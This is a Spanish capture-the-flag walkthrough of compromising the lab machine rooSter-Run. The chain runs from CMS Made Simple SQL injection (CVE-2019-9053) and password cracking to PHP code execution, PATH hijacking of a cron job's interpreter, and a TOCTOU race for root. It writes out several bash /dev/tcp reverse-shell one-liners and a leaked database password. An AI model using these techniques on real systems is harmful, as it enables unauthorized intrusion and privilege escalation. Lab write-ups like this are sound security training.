Enumeración de servicios
Comenzamos con un escaneo de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.25
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.25
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 22:21 -03
Nmap scan report for 192.168.1.25
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-generator: CMS Made Simple - Copyright (C) 2004-2023. All rights reserved.
|_http-title: Home - Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 secondsEnumeramos con gobuster:
❯ gobuster dir -u http://192.168.1.25 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php (Status: 200) [Size: 19337]
/modules (Status: 200) [Size: 3381]
/uploads (Status: 200) [Size: 0]
/doc (Status: 200) [Size: 24]
/assets (Status: 200) [Size: 2129]
/admin (Status: 200) [Size: 4467]
/lib (Status: 200) [Size: 24]
/config.php (Status: 200) [Size: 0]
/tmp (Status: 200) [Size: 1131]
...SQL injection y acceso al CMS
El sitio corre CMS Made Simple 2.2.9.1, vulnerable a SQL Injection mediante CVE-2019-9053. La variante es ciega y basada en tiempo: el exploit formula condiciones y deduce cada carácter a partir de diferencias medibles en la respuesta, en vez de recibir los registros directamente. Con el exploit ajustado extraemos la sal, el usuario y el hash, y después probamos el hash con el diccionario indicado:
❯ ./46635.py -u http://192.168.1.25 -w /home/wh01s17/Documentos/wordlists/rockyou.txt -c
[+] Salt for password found: 1a0112229fbd699d
[+] Username found: admin
[+] Email found: admin@localhost.com
[+] Password found: 4f943036486b9ad48890b2efbf7735a8
[+] Password cracked: homeandawayEjecución remota mediante User Defined Tags
Ya como admin, el CMS permite crear User Defined Tags, fragmentos PHP pensados para extender las plantillas. Esta función administrativa se convierte en RCE porque el servidor guarda y evalúa el código con la identidad del proceso web. En Extensions → User Defined Tags → Add User Defined Tag insertamos:
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.1.10/1234 0>&1'");Guardamos y ejecutamos el plugin (con netcat a la escucha), obteniendo una shell como www-data:
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.25:51528.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@rooSter-Run:/var/www/html/admin$En config.php encontramos las credenciales de la base de datos:
www-data@rooSter-Run:/var/www/html$ cat config.php
<?php
# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'admin';
$config['db_password'] = 'j42W9kDq9dN9hK';
$config['db_name'] = 'cmsms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Europe/Berlin';Movimiento lateral mediante PATH hijacking
Con pspy64 identificamos tareas cron, entre ellas StaleFinder (ejecutado por el usuario 1000) y backup.sh (ejecutado por root):
...
2024/03/03 17:06:01 CMD: UID=0 PID=845 | /bin/sh -c /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000 PID=846 | /bin/sh -c /home/matthieu/StaleFinder
2024/03/03 17:06:01 CMD: UID=0 PID=847 | /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000 PID=848 | bash /home/matthieu/StaleFinder
...Analizamos StaleFinder, que recorre el home buscando archivos vacíos o antiguos:
www-data@rooSter-Run:/home/matthieu$ cat StaleFinder
#!/usr/bin/env bash
for file in ~/*; do
if [[ -f $file ]]; then
if [[ ! -s $file ]]; then
echo "$file is empty."
fi
if [[ $(find "$file" -mtime +365 -print) ]]; then
echo "$file hasn't been modified for over a year."
fi
fi
doneRevisamos el PATH y los permisos de /usr/local/bin:
www-data@rooSter-Run:/home/matthieu$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/local/bin está antes que /usr/bin, y el + indica permisos ACL extendidos:
www-data@rooSter-Run:/home/matthieu$ ls -ld /usr/local/bin
drwxrwx---+ 2 root root 4096 Feb 29 18:29 /usr//local/bin
www-data@rooSter-Run:/home/matthieu$ getfacl /usr/local/bin
...
user:www-data:rwx
...www-data puede escribir en /usr/local/bin. Como el shebang de StaleFinder es #!/usr/bin/env bash, env resuelve bash recorriendo el PATH (PATH Hijacking). No estamos sustituyendo una orden utilizada dentro del script: secuestramos el propio intérprete antes de que procese la primera línea. Colocamos un bash malicioso allí:
www-data@rooSter-Run:/usr/local/bin$ echo '/usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/192.168.1.10/4321 0>&1"' > bash
www-data@rooSter-Run:/usr/local/bin$ chmod +x bashCuando el cron de matthieu ejecuta StaleFinder, recibimos su shell:
❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.25:51424.
bash: cannot set terminal process group (941): Inappropriate ioctl for device
bash: no job control in this shell
matthieu@rooSter-Run:~$Escalada de privilegios mediante una condición de carrera
Obtenemos la flag de usuario. Ahora podemos leer backup.sh, el cron de root:
matthieu@rooSter-Run:/opt/maintenance$ cat backup.sh
#!/bin/bash
PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"
for file in "$PREPROD"/*; do
if [[ -f $file && "${file##*.}" = "sh" ]]; then
cp "$file" "$PROD"
else
rm -f ${file}
fi
done
for file in "$PROD"/*; do
if [[ -f $file && ! -O $file ]]; then
rm ${file}
fi
done
/usr/bin/run-parts /opt/maintenance/prod-tasksEl script copia los .sh de pre-prod-tasks a prod-tasks y luego ejecuta con run-parts todo lo de prod-tasks que tenga un nombre aceptado. Entre la copia, la comprobación de propiedad y la ejecución existe una TOCTOU Race Condition: el contenido del directorio puede cambiar después de ser validado. La condición ! -O borra los archivos que no son propiedad de root, pero podemos ganar la carrera: creamos un .sh válido con la reverse shell y, una vez copiado a PROD, lo renombramos rápidamente para quitarle la extensión:
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '#!/bin/bash' > pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"' >> pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ cat pwned.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ chmod +x pwned.sh
matthieu@rooSter-Run:/opt/maintenance/prod-tasks$ mv pwned.sh pwnedEl cambio de nombre persigue dos efectos. Primero, ocurre después de que cp haya creado el archivo como root, por lo que la comprobación ! -O ya no lo elimina. Segundo, elimina la extensión .sh, que run-parts normalmente omite por contener un punto. Con netcat a la escucha, recibimos la shell de root cuando run-parts ejecuta nuestro archivo:
❯ ncat -nlvp 9999
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.25:42264.
bash: cannot set terminal process group (1488): Inappropriate ioctl for device
bash: no job control in this shell
root@rooSter-Run:~#Obtenemos nuestra flag.
Fin.